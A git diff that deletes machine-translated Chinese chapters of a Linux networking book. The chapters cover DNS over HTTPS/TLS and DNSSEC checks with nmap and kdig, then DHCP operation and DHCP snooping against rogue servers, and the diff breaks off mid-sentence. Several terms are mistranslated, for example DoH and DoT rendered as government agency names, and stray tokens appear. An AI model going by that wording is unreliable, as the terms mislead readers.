服务器上的证书,如下代码片段所示: - -```sh -nmap -p443 1.1.1.1 --script ssl-cert.nse -Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-25 11:28 Eastern Standard Time -Nmap scan report for one.one.one.one (1.1.1.1) -Host is up (0.029s latency). -PORT STATE SERVICE -443/tcp open https -| ssl-cert: Subject: commonName=cloudflare-dns.com/organizationName=Cloudflare, Inc./stateOrProvinceName=California/countryName=US -| Subject Alternative Name: DNS:cloudflare-dns.com, DNS:*.cloudflare-dns.com, DNS:one.one.one.one, IP Address:1.1.1.1, IP Address:1.0.0.1, IP Address:162.159.36.1, IP Address:162.159.46.1, IP Address:2606:4700:4700:0:0:0:0:1111, IP Address:2606:4700:4700:0:0:0:0:1001, IP Address:2606:4700:4700:0:0:0:0:64, IP Address:2606:4700:4700:0:0:0:0:6400 -| Issuer: commonName=DigiCert TLS Hybrid ECC SHA384 2020 CA1/organizationName=DigiCert Inc/countryName=US -| Public Key type: unknown -| Public Key bits: 256 -| Signature Algorithm: ecdsa-with-SHA384 -| Not valid before: 2021-01-11T00:00:00 -| Not valid after: 2022-01-18T23:59:59 -| MD5: fef6 c18c 02d0 1a14 ab75 1275 dd6a bc29 -|_SHA-1: f1b3 8143 b992 6454 97cf 452f 8c1a c842 4979 4282 -Nmap done: 1 IP address (1 host up) scanned in 7.41 seconds -``` - -然而,Nmap 的并没有提供一个脚本来通过执行一个实际的 DoH 查询来验证 DoH 本身。 为了填补这个空白,您可以在这里下载这样一个脚本:https://github.com/robvandenbrink/dns-doh.nse。 - -该脚本使用 Lua`http.shortport`操作符验证端口是否正在服务 HTTP 请求,然后构造查询字符串,然后使用正确的头发出 HTTPS 请求。 关于这个工具的详细介绍可以在这里找到:https://isc.sans.edu/forums/diary/Fun+with+NMAP+NSE+Scripts+and+DOH+DNS+over+HTTPS/27026/。 - -深入研究了 DoH 之后,我们还有哪些其他协议可以用来验证和加密 DNS 请求和响应? - -# DoT - -**DoT**是标准 DNS 协议,只是在 TLS 中封装。 点默认端口上实现`tcp/853`,这意味着它不会与域名冲突(`udp/53`和`tcp/53`)或卫生署(`tcp/443`)——三个服务可以在同一个主机上运行如果 DNS 服务器应用支持所有三个。 - -大多数现代操作系统(作为客户机)都支持 DoT 名称解析。 默认情况下它并不总是运行,但如果不启用它,它是可用的。 - -远程验证 DoT 服务器就像使用 Nmap 来验证`tcp/853`是否在监听一样简单,如下面的代码片段所示: - -```sh -$ nmap -p 853 8.8.8.8 -Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-21 13:33 PST -Nmap scan report for dns.google (8.8.8.8) -Host is up (0.023s latency). -PORT STATE SERVICE -853/tcp open domain-s -Doing a version scan gives us more good information, but the fingerprint (at the time of this book being published) is not in nmape: -$ nmap -p 853 -sV 8.8.8.8 -Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-21 13:33 PST -Nmap scan report for dns.google (8.8.8.8) -Host is up (0.020s latency). -PORT STATE SERVICE VERSION -853/tcp open ssl/domain (generic dns response: NOTIMP) -1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : -SF-Port853-TCP:V=7.80%T=SSL%I=7%D=2/21%Time=6032D1B5%P=x86_64-pc-linux-gnu -SF:%r(DNSVersionBindReqTCP,20,"\0\x1e\0\x06\x81\x82\0\x01\0\0\0\0\0\0\x07v -SF:ersion\x04bind\0\0\x10\0\x03")%r(DNSStatusRequestTCP,E,"\0\x0c\0\0\x90\ -SF:x04\0\0\0\0\0\0\0\0"); -Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . -Nmap done: 1 IP address (1 host up) scanned in 22.66 seconds -``` - -打开`tcp/853`港是标记为`domain-s`在**安全套接字层(DNS**(【显示】**SSL)),但这只是意味着端口号匹配条目的**互联网工程任务组的**(【病人】**IETF)表。 前面代码片段中显示的版本扫描(`-sV`)确实在响应中显示了`DNSStatusRequestTCP`字符串,这是一个很好的线索,表明该端口实际上正在运行 DoT。 因为它是 DoT,我们也可以使用 Nmap 来再次验证验证 DoT 服务的证书,如下所示:**** - -```sh -nmap -p853 --script ssl-cert 8.8.8.8 -Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-21 16:35 Eastern Standard Time -Nmap scan report for dns.google (8.8.8.8) -Host is up (0.017s latency). -PORT STATE SERVICE -853/tcp open domain-s -| ssl-cert: Subject: commonName=dns.google/organizationName=Google LLC/stateOrProvinceName=California/countryName=US -| Subject Alternative Name: DNS:dns.google, DNS:*.dns.google. -com, DNS:8888.google, DNS:dns.google.com, DNS:dns64.dns.google, IP Address:2001:4860:4860:0:0:0:0:64, IP Address:2001:4860:4860:0:0:0:0:6464, IP Address:2001:4860:4860:0:0:0:0:8844, IP Address:2001:4860:4860:0:0:0:0:8888, IP Address:8.8.4.4, IP Address:8.8.8.8 -| Issuer: commonName=GTS CA 1O1/organizationName=Google Trust Services/countryName=US -| Public Key type: rsa -| Public Key bits: 2048 -| Signature Algorithm: sha256WithRSAEncryption -| Not valid before: 2021-01-26T08:54:07 -| Not valid after: 2021-04-20T08:54:06 -| MD5: 9edd 82e5 5661 89c0 13a5 cced e040 c76d -|_SHA-1: 2e80 c54b 0c55 f8ad 3d61 f9ae af43 e70c 1e67 fafd -Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds -``` - -到目前为止,我们所讨论的工具只能做到这一点。 `dig`工具(此时)不支持执行 DoT 查询。 然而,`knot-dnsutils`包为我们提供了一个“almost`dig`”命令行工具——`kdig`。 让我们使用这个工具来进一步研究 DoT。 - -## 结-dnsutils - -`knot-dnsutils`是一个包含`kdig`工具的 Linux 包。 `kdig`复制了`dig`工具的功能,但也添加了其他功能,包括支持 DoT 查询。 要开始使用这个工具,我们首先必须安装`knot-dnsutils`包,如下所示: - -```sh -sudo apt-get install knot-dnsutils -``` - -现在安装完成了,正如前面提到的,`kdig`实用程序非常类似于`dig`命令,只是有一些额外的命令行参数——让我们通过一个 DoT 查询来说明这一点,如下所示: - -```sh -kdig -d +short @8.8.8.8 www.cisco.com A +tls-ca +tls-hostname=dns.google # +tls-sni=dns.google -;; DEBUG: Querying for owner(www.cisco.com.), class(1), type(1), server(8.8.8.8), port(853), protocol(TCP) -;; DEBUG: TLS, imported 129 system certificates -;; DEBUG: TLS, received certificate hierarchy: -;; DEBUG: #1, C=US,ST=California,L=Mountain View,O=Google LLC,CN=dns.google -;; DEBUG: SHA-256 PIN: 0r0ZP20iM96B8DOUpVSlh5sYx9GT1NBVp181TmVKQ1Q= -;; DEBUG: #2, C=US,O=Google Trust Services,CN=GTS CA 1O1 -;; DEBUG: SHA-256 PIN: YZPgTZ+woNCCCIW3LH2CxQeLzB/1m42QcCTBSdgayjs= -;; DEBUG: TLS, skipping certificate PIN check -;; DEBUG: TLS, The certificate is trusted. -www.cisco.com.akadns.net. -wwwds.cisco.com.edgekey.net. -wwwds.cisco.com.edgekey.net.globalredir.akadns.net. -e2867.dsca.akamaiedge.net. -23.66.161.25 -``` - -我们使用了哪些新的参数? - -参数`debug`(`-d`)给出了包含`DEBUG`字符串的所有前面的行。 鉴于由于其 TLS 支持,大多数人都将使用`kdig`,这些`DEBUG`行在测试新服务时为我们提供了一些很好的信息。 如果没有`debug`参数,我们的输出将更加“`dig`类似”,如下面的代码片段所示: - -```sh -kdig +short @8.8.8.8 www.cisco.com A +tls-ca +tls-hostname=dns.google +tls-sni=dns.google -www.cisco.com.akadns.net. -wwwds.cisco.com.edgekey.net. -wwwds.cisco.com.edgekey.net.globalredir.akadns.net. -e2867.dsca.akamaiedge.net. -23.66.161.25 -``` - -参数`+short`将输出缩短为“just The facts”显示,就像`dig`一样。 如果没有这个,输出将包括所有部分(不仅仅是“answer”部分),如下面的代码片段所示: - -```sh -kdig @8.8.8.8 www.cisco.com A +tls-ca +tls-hostname=dns.google +tls-sni=dns.google -;; TLS session (TLS1.3)-(ECDHE-X25519)-(RSA-PSS-RSAE-SHA256)-(AES-256-GCM) -;; ->>HEADER<<- opcode: QUERY; status: NOERROR; id: 57771 -;; Flags: qr rd ra; QUERY: 1; ANSWER: 5; AUTHORITY: 0; ADDITIONAL: 1 -;; EDNS PSEUDOSECTION: -;; Version: 0; flags: ; UDP size: 512 B; ext-rcode: NOERROR -;; PADDING: 240 B -;; QUESTION SECTION: -;; www.cisco.com. IN A -;; ANSWER SECTION: -www.cisco.com. 3571 IN CNAME www.cisco.com.akadns.net. -www.cisco.com.akadns.net. 120 IN CNAME wwwds.cisco.com.edgekey.net. -wwwds.cisco.com.edgekey.net. 13980 IN CNAME wwwds.cisco.com.edgekey.net.globalredir.akadns.net. -wwwds.cisco.com.edgekey.net.globalredir.akadns.net. 2490 IN CNAME e2867.dsca.akamaiedge.net. -e2867.dsca.akamaiedge.net. 19 IN A 23.66.161.25 -;; Received 468 B -;; Time 2021-02-21 13:50:33 PST -;; From 8.8.8.8@853(TCP) in 121.4 ms -``` - -我们使用的新参数列在这里: - -* 参数`+tls-ca`强制 TLS 验证—换句话说,它验证证书。 默认情况下,将使用系统**证书权威**(**CA**)列表进行此操作。 -* 添加`+tls-hostname`允许指定 TLS 协商的主机名。 默认情况下,使用 DNS 服务器名称,但在我们的例子中,服务器的名字是`8.8.8.8`——你需要一个有效的主机名出现在**CN**或**主题选择名称**(【显示】圣)名单 TLS 协商正确。 因此,这个参数允许您指定独立于服务器名称字段中使用的名称。 -* 添加`+tls-sni`会在请求中增加**服务器名称指示**(**SNI**)字段,这是许多 DoT 服务器所需要的。 这可能看起来很奇怪,因为 SNI 字段允许 HTTPS 服务器显示多个证书(每个证书针对不同的 HTTPS 站点)。 - -如果你不使用这些参数中的任何一个,而只像使用`dig`那样使用`kdig`会发生什么? 默认情况下,`kdig`不会强制针对您指定的 FQDN 进行证书验证,因此通常只会工作,如下代码片段所示: - -```sh -$ kdig +short @8.8.8.8 www.cisco.com A -www.cisco.com.akadns.net. -wwwds.cisco.com.edgekey.net. -wwwds.cisco.com.edgekey.net.globalredir.akadns.net. -e2867.dsca.akamaiedge.net. -23.4.0.216 -``` - -但是,按照预期的方式使用 TLS 是一个好主意,使用验证—毕竟,重点是在 DNS 结果中添加另一层信任。 如果您不验证服务器,那么您所做的就是加密查询和响应。 如果不在服务器名称字段或 TLS 主机名字段中指定正确的主机名(此值需要匹配证书参数),就无法进行验证。 强制进行证书验证是很重要的,因为这可以确保 DNS 服务器是您真正想要查询的服务器(也就是说,您的通信没有被拦截),并且响应在返回客户机的过程中没有被篡改。 - -既然我们了解了 DoT 是如何工作的,那么我们如何排除它或者发现 DNS 主机是否实现了 DoT ? - -## 在 Nmap 中实现 DoT - -与 DoH Nmap 示例类似,在 Nmap 中实现 DoT 允许在更大的范围内进行 DoT 发现和查询,而不是一次一个。 考虑到在 Nmap 中进行 HTTPS 调用的复杂性,实现这一点的一种简单方法是在 Nmap 脚本中使用 Lua 中的`os.execute`函数调用`kdig`。 - -另一个关键的区别是,我们没有测试`http`功能的目标端口(使用`shortport.http`测试),而是使用`shortport.ssl`测试来验证为 SSL/TLS 功能发现的任何开放端口; 因为如果它不能服务有效的 TLS 请求,它就不能很好地是 DoT,对吗? - -`dns.dot`工具可在此下载: - -https://github.com/robvandenbrink/dns-dot - -你可以在这里查看完整的文章: - -https://isc.sans.edu/diary/Fun+with+DNS+over+TLS+%28DoT%29/27150 - -我们可以在 DNS 协议本身上实现哪些其他安全机制? 让我们来看看 DNSSEC,它是验证 DNS 响应的原始机制。 - -## DNSSEC - -**DNSSEC**是一种协议,它允许您验证服务器响应,使用区域证书而不是服务器证书来签署响应。 DNSSEC 仍然在`udp/53`和`tcp/53`上运行,因为它不加密任何东西——它只是使用签名添加字段来验证标准 DNS 操作。 - -可以通过`dig`中的`DNSKEY`参数查看任意 DNS 区域的公钥。 在下面的代码示例中,我们添加了`short`参数: - -```sh -$ dig DNSKEY @dns.google example.com +short -256 3 8 AwEAAa79LdJaZfIxVzyjq4H7yB4VqT/rIreB+N0jija+4bWHzNrwhSiu D/SOtgvX+gXEgwAR6tHGn9q9t65o85RfdHJrueORb0usa3x6LHM7qy6A r22P78UUn/rxa9jbi6yS4cVOzLnJ+OKO0w1Scly5XLDmmWPbIM2LvayR 2U4UAqZZ -257 3 8 AwEAAZ0aqu1rJ6orJynrRfNpPmayJZoAx9Ic2/Rl9VQWLMHyjxxem3VU SoNUIFXERQbj0A9Ogp0zDM9YIccKLRd6LmWiDCt7UJQxVdD+heb5Ec4q lqGmyX9MDabkvX2NvMwsUecbYBq8oXeTT9LRmCUt9KUt/WOi6DKECxoG /bWTykrXyBR8elD+SQY43OAVjlWrVltHxgp4/rhBCvRbmdflunaPIgu2 7eE2U4myDSLT8a4A0rB5uHG4PkOa9dIRs9y00M2mWf4lyPee7vi5few2 dbayHXmieGcaAHrx76NGAABeY393xjlmDNcUkF1gpNWUla4fWZbbaYQz A93mLdrng+M= -257 3 8 AwEAAbOFAxl+Lkt0UMglZizKEC1AxUu8zlj65KYatR5wBWMrh18TYzK/ ig6Y1t5YTWCO68bynorpNu9fqNFALX7bVl9/gybA0v0EhF+dgXmoUfRX 7ksMGgBvtfa2/Y9a3klXNLqkTszIQ4PEMVCjtryl19Be9/PkFeC9ITjg MRQsQhmB39eyMYnal+f3bUxKk4fq7cuEU0dbRpue4H/N6jPucXWOwiMA kTJhghqgy+o9FfIp+tR/emKao94/wpVXDcPf5B18j7xz2SvTTxiuqCzC MtsxnikZHcoh1j4g+Y1B8zIMIvrEM+pZGhh/Yuf4RwCBgaYCi9hpiMWV vS4WBzx0/lU= -``` - -要查看**委托签名**(**DS**)记录,使用`DS`参数,如下面的代码片段所示: - -```sh -$ dig +short DS @dns.google example.com -31589 8 1 3490A6806D47F17A34C29E2CE80E8A999FFBE4BE -31589 8 2 CDE0D742D6998AA554A92D890F8184C698CFAC8A26FA59875A990C03 -E576343C -43547 8 1 B6225AB2CC613E0DCA7962BDC2342EA4F1B56083 -43547 8 2 615A64233543F66F44D68933625B17497C89A70E858ED76A2145997E DF96A918 -31406 8 1 189968811E6EBA862DD6C209F75623D8D9ED9142 -31406 8 2 F78CF3344F72137235098ECBBD08947C2C9001C7F6A085A17F518B5D 8F6B916D -``` - -如果我们添加`-d`(debug)参数和过滤器来只查看`DEBUG`数据,我们将在输出中看到以下一行,表明我们正在使用与常规 DNS 查询相同的端口和协议: - -```sh -dig -d DNSKEY @dns.google example.com | grep DEBUG -;; DEBUG: Querying for owner(example.com.), class(1), type(48), server(dns.google), port(53), protocol(UDP) -``` - -要进行 DNSSEC 查询,只需在`dig`命令行中添加`+dnssec`,如下所示: - -```sh -$ dig +dnssec +short @dns.google www.example.com A -93.184.216.34 -A 8 3 86400 20210316085034 20210223165712 45150 example.com. UyyNiGG0WDAsberOUza21vYos8vDc6aLq8FV9lvJT4YRBn6V8CTd3cdo ljXV5uETcD54tuv1kLZWg7YZxSQDGFeNC3luZFkbrWAqPbHXy4D7Tdey LBK0R3xywGxgZIEfp9HMjpZpikFQuKC/iFvd14uJhoquMqFPFvTfJB/s XJ8= -``` - -DNSSEC 是关于对客户端和服务器之间的 DNS 请求进行认证,以及请求在服务器之间中继。 正如我们所看到的,它是由任何特定区域的所有者实现的,以允许请求者验证他们得到的 DNS“答案”是否正确。 然而,由于它的复杂性和对证书的依赖,它还没有看到交通部和 DoH 所拥有的吸收。 - -正如我们所见,DoT 和 DoH 关注的是个人隐私,对一个人在处理业务时发出的个人 DNS 请求进行加密。 虽然这种加密使这些 DNS 请求在发出时更难捕获,但这些请求仍然记录在 DNS 服务器本身上。 此外,如果攻击者能够收集一个人的 DNS 请求,他们也能够简单地记录他们访问的站点(通过 IP 地址)。 - -综上所述,我们不会深入探究 DNSSEC,主要是因为作为一个行业,我们已经做出了同样的决定,(在很大程度上)选择不执行它。 但是,您肯定会不时地看到它,特别是在处理涉及 DNS 的问题时,所以了解它的样子以及为什么可能实现它是很重要的。 - -# 总结 - -随着我们对 DNS 的讨论接近尾声,您现在应该已经拥有了构建基本的内部 DNS 服务器和面向互联网的标准 DNS 服务器的工具。 您还应该拥有通过编辑 Linux`bind`或命名服务的各种配置文件来启动保护这些服务的基本工具。 - -此外,您应该熟悉使用`dig`、`kdig`、`curl`和`nmap`等工具对各种 DNS 服务进行故障排除。 - -在下一章中,我们将继续讨论 DHCP,正如我们在本章中所看到的,它绝对是独立的,但仍然可以与 DNS 相关。 - -# 问题 - -正如我们总结的,这里有一个问题列表,供你测试你对本章材料的知识。 你可以在附录的*评估*部分找到答案: - -1. DNSSEC 与 DoT 有何不同? -2. DoH 与“常规”DNS 有何不同? -3. 您将通过外部 DNS 服务器在内部 DNS 服务器上实现哪些特性? - -# 进一步阅读 - -欲知更多有关这方面的资料: - -* **Definitive DNS references** - - 基本 DNS 有几十个定义服务的 rfc 以及用于实现的最佳实践。 这些 rfc 的列表可以在这里找到:https://en.wikipedia.org/wiki/Domain_Name_System#RFC_documents。 - - 然而,如果你需要更多关于 DNS 的细节,并且在协议和实现细节上寻找比 rfc(强调“可读”)更可读的指南,许多人认为 Cricket Liu 的书是一个很好的下一步: - - *DNS and BIND*by Cricket Liu and Paul Albitz - - https://www.amazon.ca/DNS-BIND-Help-System-Administrators-ebook/dp/B0026OR2QS/ref=sr_1_1?dchild=1&keywords=dns+and+bind+cricket+liu&qid=1614217706&s=books&sr=1-1 - - *DNS 和 BIND on IPv6* - - https://www.amazon.ca/DNS-BIND-IPv6-Next-Generation-Internet-ebook/dp/B0054RCT4O/ref=sr_1_3?dchild=1&keywords=dns+and+bind+cricket+liu&qid=1614217706&s=books&sr=1-3 - -* **DNS UPDATE (Auto-registration)** - - *RFC 2136*:*Dynamic Updates in the Domain Name System (DNS UPDATE)*: - - https://tools.ietf.org/html/rfc2136 - -* **Authenticated DNS registration in Active Directory (AD)** - - *RFC 3645*:*DNS (GSS-TSIG)密钥交易认证的通用安全服务算法*: - - https://tools.ietf.org/html/rfc3645 - -* **DoH** - - *Fun with NMAP NSE Scripts and DOH (DNS over HTTPS)* - - DoH Nmap 脚本:https://github.com/robvandenbrink/dns-doh.nse - - *RFC 8484*:*DNS Queries over HTTPS (DoH):*https://tools.ietf.org/html/rfc8484 - -* **DoT** - - DoT Nmap 脚本:https://github.com/robvandenbrink/dns-dot - - `dns-dot`Nmap 脚本:https://isc.sans.edu/diary/Fun+with+DNS+over+TLS+%28DoT%29/27150 - - *RFC 7858*:*Specification for DNS over Transport Layer Security (TLS):*https://tools.ietf.org/html/rfc7858 - -* **DNSSEC** - - *域名系统安全扩展(DNSSEC):*https://www.internetsociety.org/issues/dnssec/ - - *RFC 4033*:*DNS 安全介绍及要求:*https://tools.ietf.org/html/rfc4033 - - *RFC 4034*:*DNS 安全扩展的资源记录:*https://tools.ietf.org/html/rfc4034 - - *RFC 4035*:*DNS 安全扩展协议修改:*https://tools.ietf.org/html/rfc4035 - - *RFC 4470*:*微创覆盖 NSEC 记录及 DNSSEC 在线签名:*https://tools.ietf.org/html/rfc4470 - - *RFC 4641*:*DNSSEC 操作实践:*https://tools.ietf.org/html/rfc4641 - - *RFC 5155*:*DNS Security (DNSSEC) hash Authenticated Denial of Existence:*https://tools.ietf.org/html/rfc5155 - - *RFC 6014*:*Cryptographic Algorithm Identifier Allocation for DNSSEC:*https://tools.ietf.org/html/rfc6014 - - *RFC 4398*:*在 DNS (Domain Name System)中存储证书:*https://tools.ietf.org/html/rfc4398*********** \ No newline at end of file diff --git a/docs/linux-net-prof/07.md b/docs/linux-net-prof/07.md deleted file mode 100644 index 4e1e1064..00000000 --- a/docs/linux-net-prof/07.md +++ /dev/null @@ -1,376 +0,0 @@ -# 七、Linux 上的 DHCP 服务 - -在本章中,我们将涵盖涉及**动态主机控制协议(DHCP**)的几个主题。 顾名思义,DHCP 用于提供主机连接到网络所需要的基本信息,在某些情况下,还用于提供在何处找到额外配置的信息,这使它成为大多数基础设施的关键部分。 - -在本章中,我们将覆盖该协议如何工作的基础知识,然后进展到构建和最终排除 DHCP 服务,具体来说: - -* DHCP 是如何工作的? -* 保护您的 DHCP 服务 -* 安装和配置 DHCP 服务器 - -让我们开始吧! - -# DHCP 如何工作? - -让我们从开始描述 DHCP 实际上是如何工作的。 我们首先来看看数据包在 DHCP 请求和响应中是如何工作的——客户机请求什么信息,服务器提供什么,以及它是如何工作的。 然后,我们将开始讨论 DHCP 选项如何在许多实现中提供帮助。 - -## 基本 DHCP 操作 - -**DHCP**允许系统管理员在服务器上集中定义设备配置,当这些设备启动时,可以请求这些配置参数。 此*中心配置*几乎总是包括 IP 地址、子网掩码、默认网关、DNS 服务器、DNS 域名等基本网络参数。 在大多数组织中,这意味着在大多数情况下,几乎没有设备获得静态 IP 地址或其他网络定义; 所有工作站网络配置均由 DHCP 服务器设置。 当我们更深入地研究该协议时,您将看到 DHCP 的其他用途,通常是*与*结合在这些基本设置上。 - -当客户端发送广播**DISCOVER**包时,DHCP 进程开始,本质上是说“外面有任何 DHCP 服务器吗?” 这就是我正在寻找的信息。” 然后 DHCP 服务器回复一个包含所有信息的**OFFER**报文。 客户机用一个**REQUEST**包进行响应,这个包的名称似乎很奇怪——实际上,客户机只是通过确认的方式,发送它刚刚从服务器返回的信息。 然后,服务器发送最后的**ACKNOWLEDGEMENT**数据包,同样带有相同的信息,再次确认它。 - -这是通常称为**DORA**序列(**发现、提供、请求、确认**),通常是这样描述的: - -![Figure 7.1 – The DHCP DORA sequence ](img/B16336_07_001.jpg) - -图 7.1 - DHCP DORA 顺序 - -因为这些都是 UDP 数据包,请记住 UDP 协议中没有任何会话信息,那么是什么将这四个数据包绑定到一个“会话”中呢? 因此,最初的 Discover 报文有一个事务 ID,在随后的三个报文中匹配- Wireshark 跟踪如下所示: - -![Figure 7.2 – DHCP DORA sequence shown in Wireshark ](img/B16336_07_002.jpg) - -图 7.2 - Wireshark 显示的 DHCP DORA 顺序 - -重要提示 - -实际上,客户端直到第四个包才有一个地址,所以 Discover 和 Request 包是从 IP 为`0.0.0.0`的客户端的 MAC 地址到`255.255.255.255`的广播地址(即到整个局域网)。 - -现在我们理解了 DHCP 如何工作的基础知识,我们看到它严重依赖于广播地址,而广播地址仅限于本地子网。 我们如何在更实际的设置中使用 DHCP,其中 DHCP 服务器在不同的子网,甚至可能在不同的城市或国家? - -## 来自其他子网(转发器、中继或助手)的 DHCP 请求 - -但是等等,你可能会说——在许多公司网络中,服务器在它们自己的子网中——分离服务器和工作站是相当普遍的做法。 这种情况下 DHCP 顺序如何工作? DORA 序列的前三个数据包被发送到广播地址,因此它们只能到达同一 VLAN 上的其他主机。 - -我们通过在客户端子网中的主机上放置一个 DHCP“转发器”或“中继”进程来完成这项工作。 该进程接收本地广播,然后将其以单播形式转发给 DHCP 服务器。 当服务器应答时(以单播方式向转发器主机),转发器将包“转换”为客户机所期望的广播应答。 几乎总是,这个转发器功能是在客户端子网上的路由器或交换机 IP 地址上完成的——换句话说,接口最终将成为客户端的默认网关。 这个函数在技术上不需要在那个接口上,但它是一个我们知道会在那里的接口,而且这个函数几乎总是可供我们使用。 另外,如果我们将其作为一种不成文的惯例,当我们以后需要更改它时,它将更容易找到该命令! 在 Cisco 路由器或交换机上,这个命令看起来像这样: - -```sh -interface VLAN ip helper-address 10.10.10.10 -``` - -这里,`10.10.10.10`是我们 DHCP 服务器的 IP 地址。 - -在操作中,这改变了我们在大多数家庭网络上拥有的简单的广播操作,包括一个单播“腿”,以将协议扩展到位于另一个子网的 DHCP 服务器: - -![Figure 7.3 – DHCP relay or forwarder operation ](img/B16336_07_003.jpg) - -图 7.3 - DHCP 中继或转发器操作 - -这如何修改我们的 DORA 序列? 简单的回答是,它实际上不会修改任何数据包的 DHCP 内容。 它所做的是修改数据包中的上层“IP 地址”字段-路由器和服务器之间修改的数据包有“真实的”源和目的 IP 地址。 但是,客户端看到的包内容保持不变。 如果你深入研究 DHCP 报文,你会发现不管是否有中继,DHCP 客户端的 MAC 地址和 DHCP 服务器的 IP 地址实际上包含在 7 层 DHCP 协议的数据字段中。 - -现在我们开始为基本配置 DHCP 服务器工作站操作,但在我们到达之前,我们要考虑我们需要的专用设备,如 iphone,**无线访问点**(**WAP), 或者甚至是**预执行环境(PXE**)设备,可以从 DHCP 信息加载其整个操作系统。** - -## DHCP 选项 - -在 DHCP Discover 报文中发送的选项本质上是客户端知道如何处理的 DHCP 网络参数的列表。 服务器的 Offer 包将尝试尽可能多地填充这个列表。 最常见的请求选项(并在服务器上配置)如下: - -* 子网掩码 -* 路由器(默认网关) -* DNS 服务器列表 -* DNS 域名 - -更完整的引用在 IANA DHCP 选项可以找到网站,https://www.iana.org/assignments/bootp-dhcp-parameters/bootp-dhcp-parameters.xhtml,或在相关的 RFC: https://tools.ietf.org/html/rfc2132。 - -然而,在许多公司网络中,您可能会看到请求和提供的其他信息——通常这是为了支持**VOIP**电话的启动。 这些选项通常是特定于供应商的,但在大多数情况下,客户端设备将请求的信息列表如下: - -* **我需要在哪个 VLAN 上?** :该选项在现代网络中使用的频率较低,有利于仅使用**链路层发现协议(LLDP**)在交换机上识别 VOICE VLAN。 在 Cisco 交换机上,这就像在 VLAN 定义中添加 voice 关键字一样简单。 -* **我要连接的 PBX 的 IP 是多少?** -* **我应该连接到哪个 TFTP 或 HTTP 服务器来收集我的硬件配置?** - -如果服务器拥有所请求的信息,那么它将在服务器的响应包中的 DHCP offer 中提供。 - -大多数情况下,你会看到以下这些 DHCP 选项,但如果你使用的是不同的手机厂商,当然,你的里程可能会有所不同: - -![](img/Table_012.jpg) - -注意,Mitel 和 Shortel 电话使用相同的 DHCP 选项,但语法略有不同。 - -DHCP 选项有时也用来告诉 WAP 使用哪个 IP 来找到他们的控制器,控制 PXE 站点的引导顺序,或任何数量的自定义使用。 在大多数情况下,DHCP 选项的存在是为了确保远程设备获得从一个中心位置启动所需的信息,而不必配置每个设备。 如果您需要特定设备的这些选项,详细信息将在供应商的文档中(查找**DHCP 选项**)。 - -如果你正在对 DHCP 序列进行故障排除,特别是为什么 DHCP 选项不能以你可能期望的方式工作,任何特定设备所需要的 DHCP 选项总是在初始的 Discover 报文中,即 DORA 序列中的第一个报文中。 总是从这里开始您的调查,并且您经常会发现请求的 DHCP 选项并不是配置的选项。 - -既然我们已经了解了 DHCP 的基本工作原理,那么如何保护它不受常见攻击或操作问题的影响呢? - -# 保护 DHCP 服务 - -关于 DHCP 有趣的是,在几乎所有情况下,保护服务是在网络交换机上而不是在 DHCP 服务器本身上完成的。 在大多数情况下,DHCP 服务器接收匿名的请求,然后适当地回答,没有很多的机会,以确保我们的服务没有增加很多复杂性(使用签名和 PKI,我们会讲到),或者通过维护一组授权的 MAC 地址(这增加了很多复杂性)。 这两种方法都与拥有 DHCP 服务的整个要点背道而驰,即“自动”完成工作站、电话和其他网络连接设备的网络配置,而不会增加太多的复杂性或管理开销。 - -那么,我们如何确保我们的服务? 让我们看看一些攻击场景,然后添加最常见的防御。 - -## 非法 DHCP 服务器 - -首先,让我们看看**流氓 DHCP 服务器**的可能性。 这种是迄今为止最常见的攻击,而且在大多数情况下,它甚至不是故意的。 我们经常看到的情况是,一个人从家里带了一个未经授权的无线路由器或有线交换机,并且家庭设备启用了其默认 DHCP 服务器。 在大多数情况下,这个家庭设备将被配置为一个网络为`192.168.1.0/24`或`192.168.0.0/24`,这几乎总是*而不是我们在工作时配置的*。 因此,一旦此子网连接到网络,工作站将开始获得该子网上的地址,并将失去与实际公司网络的连接。 - -我们如何防范这种情况? 答案就在网络交换机上。 我们所做的是,在每个交换机上,我们评估拓扑结构,并决定我们可以信任哪些端口向我们发送 DHCP Offer 数据包——换句话说,“哪些端口引导我们到 DHCP 服务器?” 这几乎总是交换机上行链路,这是我们通向服务器的链路。 - -一旦它在交换机上被识别,我们就使能被称为**DHCP Snooping**的,它指示交换机检查 DHCP 报文。 这是一个 vlan 一个 vlan 地完成的,在大多数环境中,我们只是列出所有 vlan。 然后,我们将上行端口配置为“可信”的源 DHCP 数据包。 这通常是一个非常简单的配置更改,看起来类似于以下(思科配置显示): - -```sh -ip dhcp snooping vlan 1 2 10 -interface e1/48 - ip dhcp snooping trust -``` - -如果在除我们配置为“可信”的端口或 IP 地址以外的任何端口或 IP 地址上收到 DHCP Offer 包,默认情况下,该端口将被关闭并发送警报(尽管您可以将它们配置为只发送警报)。 然后,端口处于所谓的*错误禁用*状态,通常需要网络管理员查找根本原因并修复它。 这使得日志记录和警报过程非常重要。 您可以跳过[*第 13 章*](13.html#_idTextAnchor236),*Linux 上的入侵防御系统*,如果这对您的组织非常重要的话。 - -对于一些交换机供应商,我们可以信任 DHCP 服务器的 IP 而不是上行端口。 例如,在 HP 交换机上,我们仍然可以使用上述方法,但我们也可以根据 IP 地址添加一个更简单的配置: - -```sh -dhcp-snooping -dhcp-snooping vlan 1 2 10 -dhcp-snooping authorized-server -``` - -在一个更大的网络中,这种方法使我们的配置简单得多——不需要识别不同交换机的上行端口; 这两条线路可以简单地复制到所有工作站交换机。 - -当我们到达服务器 vlan 和数据中心交换机时,我们面临的事实是我们的 DHCP 服务器很可能是一个 VM。 这给我们留下了两个选择——要么在所有连接到 hypervisor 服务器的上行链路上配置 DHCP 信任,要么在服务器交换机上配置 DHCP snooping 或信任,我们根本不配置 DHCP snooping 或信任。 这两种选择都是有效的,而且老实说,第二种选择是我们最经常看到的——在许多情况下,网络管理员可以相信服务器交换机是在一个锁着的房间或橱柜中,这就成为我们的 DHCP 服务的安全层。 这还意味着,服务器和管理程序管理员在服务器端进行更改时,不需要过多地考虑物理网络(在许多情况下根本不需要涉及网络管理员)。 - -我们确实提到了“意外 DHCP 服务器”是迄今为止最常见的非法 DHCP 服务器攻击。 但是如何处理故意的 DHCP 服务器攻击; 